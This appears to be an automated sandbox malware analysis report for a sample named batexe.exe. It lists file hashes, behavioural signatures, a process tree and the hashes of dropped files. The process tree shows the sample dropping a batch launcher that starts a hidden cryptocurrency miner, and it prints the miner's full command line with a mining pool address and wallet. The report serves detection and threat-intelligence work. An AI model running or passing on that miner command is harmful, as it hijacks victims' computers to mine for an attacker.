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Analysis
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max time kernel
294s -
max time network
300s -
platform
windows10-1703_x64 -
resource
win10-20231220-ja -
resource tags
arch:x64arch:x86image:win10-20231220-jalocale:ja-jpos:windows10-1703-x64systemwindows -
submitted
14/02/2024, 07:09
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20231220-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231222-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
pid Process 4240 b2e.exe 3940 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 3940 cpuminer-sse2.exe 3940 cpuminer-sse2.exe 3940 cpuminer-sse2.exe 3940 cpuminer-sse2.exe 3940 cpuminer-sse2.exe -
resource yara_rule behavioral1/memory/912-5-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 912 wrote to memory of 4240 912 batexe.exe 75 PID 912 wrote to memory of 4240 912 batexe.exe 75 PID 912 wrote to memory of 4240 912 batexe.exe 75 PID 4240 wrote to memory of 1304 4240 b2e.exe 76 PID 4240 wrote to memory of 1304 4240 b2e.exe 76 PID 4240 wrote to memory of 1304 4240 b2e.exe 76 PID 1304 wrote to memory of 3940 1304 cmd.exe 79 PID 1304 wrote to memory of 3940 1304 cmd.exe 79
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:912 -
C:\Users\Admin\AppData\Local\Temp\98C5.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\98C5.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\98C5.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4240 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9B27.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3940
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
7.8MB
MD50c568c04ce0670a46677c85b5bd4d9d6
SHA1bc09ed9947807a89462ebf465b31c3956b9dae3f
SHA25626b36a10024cd3a01689479d18f0ad29c472a1fb26ceba7c580c967de7c516ae
SHA5122edb607fe43e1ff208bbd24f558cabb4419a3996a271f784d5cdf2321ec4a481db68a99e2da8a742468917f96dbfd09beb4a576aabcc37769e7e537e6ebfe9f0
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Filesize
9.2MB
MD5d01de7fde330c0912f6cfa275e8c4bff
SHA168288153133e78ff94b7236454a5efb9f62ec82d
SHA256668f6b90a312a6766f8a28fcb865e0a387f213bf32379b618b6895b2aa4de29d
SHA512dddb4041b14d8bb6ea34536c75076b193cf724c7de2088c2be4c5fcb04b4cab8ec3f499839616a07e92773f8b30df68f136a6d71c3760bfd936e7ad29652b0fe
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
1.8MB
MD5d80b98cad14ab7d8ad49bdea10bf6f78
SHA1e36f47025de04864ea3233b946593dc46c7588dd
SHA25687fef499779eccf1270b3f4b1b875f43ef9085178f27475affd5310df78ece4b
SHA512bc5b18eca17a407e1eb233ebd14921a3150e77362ee337dbdb730fd4462e836553f5eefa6c484e1dadcf52e6fc2683dab7b9e2b2182d9b5fa939e48dbc6a8688
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Filesize
1.9MB
MD55263b3c42459f298245563a378085583
SHA18033595357cf0fb205cd2f07211e6dcddbafdb94
SHA256c9590a9d9c5852277010621562e001f0ae7b86e0da536961370234cc68f55c68
SHA51288f340b1f64450b01db7892fb1d3a67add59a96823bbe29eecce507ab8767255fa910a89453e988eeb611e6a5db871b97ebc688090fe019638ce4ea5fa431206
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
2.5MB
MD5d556d2f42952feca6ce9564bc4d61d99
SHA17f99cd3752d48b157fb7109c480800baf3414d02
SHA2565a3db482760efa13421e809b94bd5abcb71cfa3728efaf18a4c6aff5c19b33c4
SHA51249adfe1503b0c512309ec1363e2217777ec5b8b1af3ffe0d90dd1ed2fef79702bd211a98d9b6d6b425f56238127ed47693b76255ced0a65039534a70a6020db1
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
2.0MB
MD5ebf2d9ab31b0c64346b79f5dc4eb70db
SHA1477c983768db542a0ea5a9faee2a799dd145e83b
SHA2563dfea7ebd2d6f4fda111ddbcfab2a374fb0e720f0d67241ee7da02c6fc881903
SHA512288b7cac05f142a8060bf276e2bc48accd9ff154246ebf58a056c4105d4fc47392e99d49e6dedf4bd6e1be2a11d1582312412bc308e4d1a3346a846c906bfe83
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Filesize
1.8MB
MD5e996171118851ae5747b946f8eecd2b0
SHA12ca1dc32df7a1262b535137ad236f120c74ec54e
SHA256ba435bc42e48b6b6c81d13a3fdaa8fbeac07cfe402ce328698ff07ec847e156e
SHA51215d5f5fe70d349d14c81b1f618b8b7672b53c377a0af90e6221aab6fa5f7badd0ef0709400050e65c7ae0ddaf90bad06f22ffdd3f10815bf60290f2d6983eb64